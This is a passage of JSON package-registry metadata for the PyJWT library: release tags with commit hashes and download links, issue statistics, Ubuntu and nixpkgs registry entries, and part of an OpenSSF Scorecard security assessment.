z/1.7.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.7.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.7.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.7.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.7.1/manifests"},{"name":"1.7.0","sha":"3f735fdf68cc865a6241aae1fcf92a410c73fbdb","kind":"tag","published_at":"2018-12-02T03:49:29.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.7.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.7.0/manifests"},{"name":"1.6.4","sha":"d25c92ca5e9980ca7bc8b31420bf36e3f4a9e3f0","kind":"tag","published_at":"2018-05-24T02:47:12.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.6.4","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.6.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.6.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.4/manifests"},{"name":"1.6.3","sha":"070015d79ed5277c6d76fa8f996fb9698257afe4","kind":"tag","published_at":"2018-05-19T17:13:50.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.6.3","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.6.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.6.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.3/manifests"},{"name":"1.6.1","sha":"285afade1d14eb810615c5bc751ea2c6a7a3314a","kind":"tag","published_at":"2018-03-18T13:38:37.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.6.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.6.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.6.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.1/manifests"},{"name":"1.6.0","sha":"7ae1dee63dab887d39ea4ca3365e81392a1c2396","kind":"tag","published_at":"2018-03-03T16:55:02.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.6.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.0/manifests"},{"name":"1.5.3","sha":"72bb76cb343bb6d0f40fcd0d136898b8ba08c323","kind":"tag","published_at":"2017-09-05T18:21:44.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.5.3","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.5.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.5.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.3/manifests"},{"name":"1.5.2","sha":"74399b1856573d8545b8dbbcac0db29a5656979d","kind":"tag","published_at":"2017-06-22T16:31:48.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.5.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.5.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.5.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.2/manifests"},{"name":"1.5.1","sha":"bc966214de9852258dd00dd2efc01ce6c9a22ac6","kind":"tag","published_at":"2017-06-22T14:57:07.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.5.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.5.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.5.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.1/manifests"},{"name":"1.5.0","sha":"908ee84aeefb8126a94e48e88ba9916d9d2512b3","kind":"tag","published_at":"2017-04-19T14:38:28.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.5.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.0/manifests"},{"name":"1.4.2","sha":"b35d522135044ba10ac41e7db5b95348cb4c4707","kind":"commit","published_at":"2016-08-08T19:42:23.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.4.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.2/manifests"},{"name":"1.4.1","sha":"daf79c1d2143d969e4ba19ec0692cfac773fa6be","kind":"tag","published_at":"2016-07-13T11:23:01.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.4.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.1/manifests"},{"name":"1.4.0","sha":"96c029a89f6311305ff93104db49c3c377072e1d","kind":"tag","published_at":"2015-07-17T01:30:42.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.4.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.0/manifests"},{"name":"1.3.0","sha":"8e4ef3cb47af5f37826b3c6f1a12c5000513fa14","kind":"tag","published_at":"2015-05-22T15:51:30.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.3.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.3.0/manifests"},{"name":"1.2.0","sha":"a125433bff60c4642d267fedbc676e500272c6ae","kind":"commit","published_at":"2015-04-28T16:07:24.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.2.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.2.0/manifests"},{"name":"1.1.0","sha":"490dfd646bea97bcc7b9832e6ddf16c55260958d","kind":"tag","published_at":"2015-04-15T20:54:48.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.1.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.1.0/manifests"},{"name":"1.0.1","sha":"8f28b4a6124830fcea400668840e645bb91e38a2","kind":"tag","published_at":"2015-03-26T21:10:48.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.0.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.0.1/manifests"},{"name":"1.0.0","sha":"3cc2e998a84a8cd6e5a0c4e67caf038d337458d8","kind":"tag","published_at":"2015-03-18T17:10:39.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.0.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.0.0/manifests"},{"name":"0.4.3","sha":"d72c3d4821e93593031a2e188d43f503706c047e","kind":"tag","published_at":"2015-02-18T20:37:07.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.4.3","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.4.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.4.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.3/manifests"},{"name":"0.4.2","sha":"451004ea60fb91ad658f770de66c90ca0cd228ab","kind":"tag","published_at":"2015-02-18T19:14:01.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.4.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.2/manifests"},{"name":"0.4.1","sha":"016b0bf9349019ac90aa4c61c728660af003ea72","kind":"tag","published_at":"2015-01-08T16:23:48.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.4.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.1/manifests"},{"name":"0.4.0","sha":"10485f7cf7870a897a280f5d616b2026f17fa378","kind":"tag","published_at":"2014-12-23T12:15:22.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.4.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.0/manifests"},{"name":"0.3.2","sha":"cd32cf25f07994a2b22b47a4d6c5b71137b252bd","kind":"tag","published_at":"2014-12-13T22:27:16.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.3.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.3.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.3.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.2/manifests"},{"name":"0.3.1","sha":"139a779427fb5ca64e940fc2ea33402a80884949","kind":"tag","published_at":"2014-12-03T13:07:00.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.3.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.1/manifests"},{"name":"0.3.0","sha":"fc60927c2dc35bca29641c52a7ba1b1596f4d105","kind":"tag","published_at":"2014-10-22T05:37:54.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.3.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.0/manifests"},{"name":"0.2.3","sha":"739efeff4c6c1fc30ab5cf5eb0ac337e8ee107d7","kind":"tag","published_at":"2014-10-16T04:07:59.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.2.3","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.2.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.2.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.3/manifests"},{"name":"0.2.2","sha":"a99f4015d1f11ddc18ac8da5f6604d5b31aa125e","kind":"tag","published_at":"2014-09-23T02:40:34.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.2.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.2.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.2.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.2/manifests"},{"name":"0.2.0","sha":"257fd34acc393520fd01cfcf47bf628835ed9402","kind":"commit","published_at":"2014-03-26T00:02:10.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.2.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.0/manifests"},{"name":"0.1.9","sha":"581c660108d9eabe1c061620e6b795064b0b5b8d","kind":"commit","published_at":"2014-02-08T07:12:01.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.1.9","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.1.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.1.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.1.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.1.9/manifests"},{"name":"0.1.6","sha":"2b5dd54dabe599676f3fa5b4f4c90b59856e908f","kind":"tag","published_at":"2013-08-08T18:35:32.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.1.6","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.1.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.1.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.1.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.1.6/manifests"}]},"repo_metadata_updated_at":"2026-05-29T04:00:36.286Z","dependent_packages_count":0,"downloads":null,"downloads_period":null,"dependent_repos_count":0,"rankings":{"downloads":null,"dependent_repos_count":0.0,"dependent_packages_count":0.0,"stargazers_count":null,"forks_count":null,"docker_downloads_count":null,"average":100},"purl":"pkg:deb/ubuntu/pyjwt?arch=source\u0026distro=ubuntu-24.04","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/ubuntu/pyjwt","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/ubuntu/pyjwt","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/ubuntu/pyjwt/dependencies","status":null,"funding_links":["https://github.com/sponsors/jpadilla"],"critical":null,"issue_metadata":{"last_synced_at":"2026-05-24T15:00:28.878Z","issues_count":159,"pull_requests_count":289,"avg_time_to_close_issue":11297445.848214285,"avg_time_to_close_pull_request":2246869.7172131147,"issues_closed_count":112,"pull_requests_closed_count":243,"pull_request_authors_count":81,"issue_authors_count":155,"avg_comments_per_issue":3.842767295597484,"avg_comments_per_pull_request":0.8304498269896193,"merged_pull_requests_count":199,"bot_issues_count":2,"bot_pull_requests_count":101,"past_year_issues_count":25,"past_year_pull_requests_count":77,"past_year_avg_time_to_close_issue":6701487.111111111,"past_year_avg_time_to_close_pull_request":1291611.0,"past_year_issues_closed_count":9,"past_year_pull_requests_closed_count":44,"past_year_pull_request_authors_count":25,"past_year_issue_authors_count":24,"past_year_avg_comments_per_issue":2.64,"past_year_avg_comments_per_pull_request":0.38961038961038963,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":34,"past_year_merged_pull_requests_count":41,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/issues","maintainers":[{"login":"auvipy","count":6,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/auvipy"},{"login":"jpadilla","count":5,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/jpadilla"}],"active_maintainers":[{"login":"auvipy","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/auvipy"},{"login":"jpadilla","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/jpadilla"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-24.04/packages/pyjwt/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-24.04/packages/pyjwt/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-24.04/packages/pyjwt/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-24.04/packages/pyjwt/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-24.04/packages/pyjwt/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-24.04/packages/pyjwt/codemeta","maintainers":[],"registry":{"name":"ubuntu-24.04","url":"https://launchpad.net/ubuntu/noble","ecosystem":"ubuntu","default":true,"packages_count":37306,"maintainers_count":0,"namespaces_count":4,"keywords_count":1701,"github":"ubuntu","metadata":{"codename":"noble","funded_packages_count":198},"icon_url":"https://github.com/ubuntu.png","created_at":"2026-02-04T11:01:45.928Z","updated_at":"2026-06-10T05:17:44.581Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-24.04/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-24.04/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-24.04/namespaces"}},{"id":13088064,"name":"python312Packages.pyjwt","ecosystem":"nixpkgs","description":"JSON Web Token implementation in Python","homepage":"https://github.com/jpadilla/pyjwt","licenses":"MIT","normalized_licenses":["MIT"],"repository_url":"https://github.com/jpadilla/pyjwt","keywords_array":["python"],"namespace":null,"versions_count":1,"first_release_published_at":"2026-02-01T18:08:55.679Z","latest_release_published_at":"2026-02-01T18:08:55.679Z","latest_release_number":"2.9.0","last_synced_at":"2026-03-08T07:17:32.233Z","created_at":"2026-02-01T18:08:54.395Z","updated_at":"2026-05-29T04:00:36.319Z","registry_url":"https://search.nixos.org/packages?channel=24.11\u0026query=python312Packages.pyjwt","install_command":"nix-env -iA nixpkgs.python312Packages.pyjwt","documentation_url":"https://github.com/NixOS/nixpkgs/blob/nixos-24.11/pkgs/development/python-modules/pyjwt/default.nix#L59","metadata":{"nix_attribute":"python3.12-pyjwt-2.9.0","position":"pkgs/development/python-modules/pyjwt/default.nix:59","platforms":["aarch64-linux","armv5tel-linux","armv6l-linux","armv7a-linux","armv7l-linux","i686-linux","loongarch64-linux","m68k-linux","microblaze-linux","microblazeel-linux","mips-linux","mips64-linux","mips64el-linux","mipsel-linux","powerpc64-linux","powerpc64le-linux","riscv32-linux","riscv64-linux","s390-linux","s390x-linux","x86_64-linux","x86_64-darwin","i686-darwin","aarch64-darwin","armv7a-darwin","i686-cygwin","x86_64-cygwin","aarch64-windows","x86_64-windows","i686-windows","i686-freebsd","x86_64-freebsd"],"broken":false,"insecure":false,"unfree":false,"outputs":["dist","doc","out"],"upstream_ecosystem":"pypi","upstream_name":"pyjwt","upstream_purl":"pkg:pypi/pyjwt"},"repo_metadata":{"id":1396960,"uuid":"1408162","full_name":"jpadilla/pyjwt","owner":"jpadilla","description":"JSON Web Token implementation in Python","archived":false,"fork":false,"pushed_at":"2026-05-18T22:10:19.000Z","size":1229,"stargazers_count":5660,"open_issues_count":52,"forks_count":756,"subscribers_count":59,"default_branch":"master","last_synced_at":"2026-05-19T00:41:40.142Z","etag":null,"topics":["hacktoberfest","jwt","python"],"latest_commit_sha":null,"homepage":"https://pyjwt.readthedocs.io","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":"jondot/padrino-warden","license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/jpadilla.png","metadata":{"files":{"readme":"README.rst","changelog":"CHANGELOG.rst","contributing":null,"funding":".github/FUNDING.yml","license":"LICENSE","code_of_conduct":"CODE_OF_CONDUCT.md","threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":"SECURITY.md","support":null,"governance":null,"roadmap":null,"authors":"AUTHORS.rst","dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"dco":null,"cla":null},"funding":{"github":["jpadilla"]}},"created_at":"2011-02-24T20:25:09.000Z","updated_at":"2026-05-15T21:30:33.000Z","dependencies_parsed_at":"2025-11-13T02:02:14.919Z","dependency_job_id":null,"html_url":"https://github.com/jpadilla/pyjwt","commit_stats":{"total_commits":666,"total_committers":140,"mean_commits":4.757142857142857,"dds":0.7777777777777778,"last_synced_commit":"d8b12421654840418fd25b86553795c0c09ed0a9"},"previous_names":["progrium/pyjwt"],"tags_count":48,"template":false,"template_full_name":null,"purl":"pkg:github/jpadilla/pyjwt","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/jpadilla","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/refs/heads/master","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/sbom","scorecard":{"id":316997,"data":{"date":"2025-08-11","repo":{"name":"github.com/jpadilla/pyjwt","commit":"f2d0ebe7ec6d95cf92d958f9fcbd60ba1911cd3d"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":7.5,"checks":[{"name":"Code-Review","score":8,"reason":"Found 12/15 approved changesets -- score normalized to 8","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"Security-Policy","score":10,"reason":"security policy file detected","details":["Info: security policy file detected: SECURITY.md:1","Info: Found linked content: SECURITY.md:1","Info: Found disclosure, vulnerability, and/or timelines in security policy: SECURITY.md:1","Info: Found text in security policy: SECURITY.md:1"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"Maintained","score":10,"reason":"11 commit(s) and 3 issue activity found in the last 90 days -- score normalized to 10","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"Token-Permissions","score":0,"reason":"detected GitHub workflow tokens with excessive permissions","details":["Info: topLevel 'contents' permission set to 'read': .github/workflows/enforce-changelog-entry.yml:8","Warn: no topLevel permission defined: .github/workflows/main.yml:1","Info: topLevel 'contents' permission set to 'read': .github/workflows/pypi-package.yml:16","Info: no jobLevel write permissions found"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"Pinned-Dependencies","score":0,"reason":"dependency not pinned by hash detected -- score normalized to 0","details":["Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:25: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned 